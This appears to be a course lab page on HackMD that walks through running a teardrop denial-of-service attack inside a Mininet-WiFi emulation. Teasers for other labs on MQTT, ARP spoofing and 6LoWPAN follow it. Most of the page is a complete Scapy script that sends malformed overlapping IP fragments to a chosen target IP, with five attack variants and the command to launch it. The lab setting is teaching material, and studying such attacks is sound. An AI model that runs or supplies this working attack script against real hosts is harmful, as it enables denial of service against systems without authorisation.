In this short demo you will:
Requirements:
First of all you need to run mininet-wifi with the command below:
$ sudo mn
Then you take the code below:
#!/usr/bin/env python
import sys
from scapy.all import *
total = len(sys.argv)
if total != 3:
print("Performs teardrop attack")
print(" ")
print("Usage: ./tear TARGET-IP ATTACK-CODE")
print(" Attack Codes:")
print(" 0: small payload (36 bytes), 2 packets, offset=3x8 bytes")
print(" 1: large payload (1300 bytes), 2 packets, offset=80x8 bytes")
print(" 2: large payload (1300 bytes), 12 packets, offset=80x8 bytes")
print(" 3: large payload (1300 bytes), 2 packets, offset=3x8 bytes")
print(" 4: large payload (1300 bytes), 2 packets, offset=10x8 bytes")
target=str(sys.argv[1])
attack=sys.argv[2]
print('Attacking target ' + target + ' with attack ' + attack)
if attack == '0':
print("Using attack 0")
size=36
offset=3
load1="\x00"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
size=4
offset=18
load2="\x00"*size
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load1)
send(j/load2)
elif attack == '1':
print("Using attack 1")
size=1300
offset=80
load="A"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load)
send(j/load)
elif attack == '2':
print("Using attack 2")
print("Attacking with attack 2")
size=1300
offset=80
load="A"*size
i=IP()
i.dst=target
i.proto=17
i.flags="MF"
i.frag=0
send(i/load)
print("Attack 2 packet 0")
for x in range(1, 10):
i.frag=offset
offset=offset+80
send(i/load)
print("Attack 2 packet " + str(x))
i.frag=offset
i.flags=0
send(i/load)
elif attack == '3':
print("Using attack 3")
size=1336
offset=3
load1="\x00"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
size=4
offset=18
load2="\x00"*size
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load1)
send(j/load2)
else:
print("Using attack 4")
size=1300
offset=10
load="A"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load)
send(j/load)
print("Done!")
and run it from h1:
mininet-wifi> xterm h1
h1# python teadrop.py 10.0.0.1 0
The number 0 can be replaced by 1, 2, 3 or 4.
This lab aims to offer you an hands-on experience with MQTT. You will perform experiments that will allow you to learn how to “publish” data and “subscribe” to get data. Section 1: Basic MQTT regarding the clients: In this section you will work with MQTT using the MQTT Paho library for Python. The documentation of the MQTT Paho API is here. You have to first install it using: $ sudo python -m pip install paho-mqtt
May 24, 2023This lab aims to offer you an hands-on experience with MQTT. You will perform experiments that will allow you to learn how to "publish" and "subscribe" to data. To this end you will use: your own broker a "sandbox" external broker You will learn how to: install and configure an MQTT broker interchange data using MQTT clients based use MQTT to feed data to your own mobile
May 22, 2023:::info In this short demo you will: Learn on How to perform ARP Spoofing attack and how to perform protocol downgrade Requirements: Mininet-WiFi - https://github.com/intrig-unicamp/mininet-wifi dsniff arpon
Mar 26, 2021In this activity we will see some examples of how to simulate a 6loWPAN network for the Internet of Things. 6LoWPAN (IPv6 over Low power Wireless Personal Area Networks) is an IP protocol that creates and maintains the specifications that allow us to use the IPv6 protocol on the IEEE 802.15.4 standard. It has been widely used in the implementation of sensor networks with energy limitations, low signal range, low transmission rates and low cost. The integration of sensor networks with the Internet is seen as essential for the Internet of Things (IoT), allowing the use of distributed sensor applications. First of all, you will need to install mosquitto, mosquitto-clients and paho-mqtt packages as well as Dojot (http://www.dojot.com.br/). :::warning Follow the detailed install instructions available here: https://docs.google.com/document/d/1tbeC0T-zd7yNnSS16IYYdp4UXXk-ePKg1OZm6_XaDAQ/edit?usp=sharing ::: Activity 1 - MQTT basics with Mosquitto :::info
Mar 23, 2021or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up